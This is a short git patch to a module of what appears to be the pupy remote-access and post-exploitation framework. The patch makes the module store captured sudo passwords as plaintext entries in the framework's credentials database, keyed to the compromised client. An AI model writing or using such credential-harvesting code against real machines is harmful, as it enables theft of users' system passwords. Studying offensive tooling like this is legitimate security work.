From 0f18cd2027080750017e54f14157008fb7f54e9f Mon Sep 17 00:00:00 2001 From: Alessandro ZANNI Date: Mon, 24 Oct 2016 10:22:56 +0200 Subject: [PATCH] adding "sudo_alias" password in creds db --- pupy/modules/sudo_alias.py | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/pupy/modules/sudo_alias.py b/pupy/modules/sudo_alias.py index bf4eea1c..83b301ef 100644 --- a/pupy/modules/sudo_alias.py +++ b/pupy/modules/sudo_alias.py @@ -1,5 +1,6 @@ # -*- coding: utf-8 -*- from pupylib.PupyModule import * +from pupylib.utils.credentials import Credentials __class_name__="SudoAlias" @@ -24,6 +25,14 @@ class SudoAlias(PupyModule): self.error("nothing find, be patient !") else: self.success("Sudo password found: %s" % data) + + # add password to the database + username = data.split('/')[0] + password = data.replace(username, '')[1:] + db = Credentials() + db.add([{'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password', 'uid': self.client.short_name()}]) + self.success("Credentials stored on the database") + elif args.action=="stop": if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): self.error('the alias has not been created yet (run start)')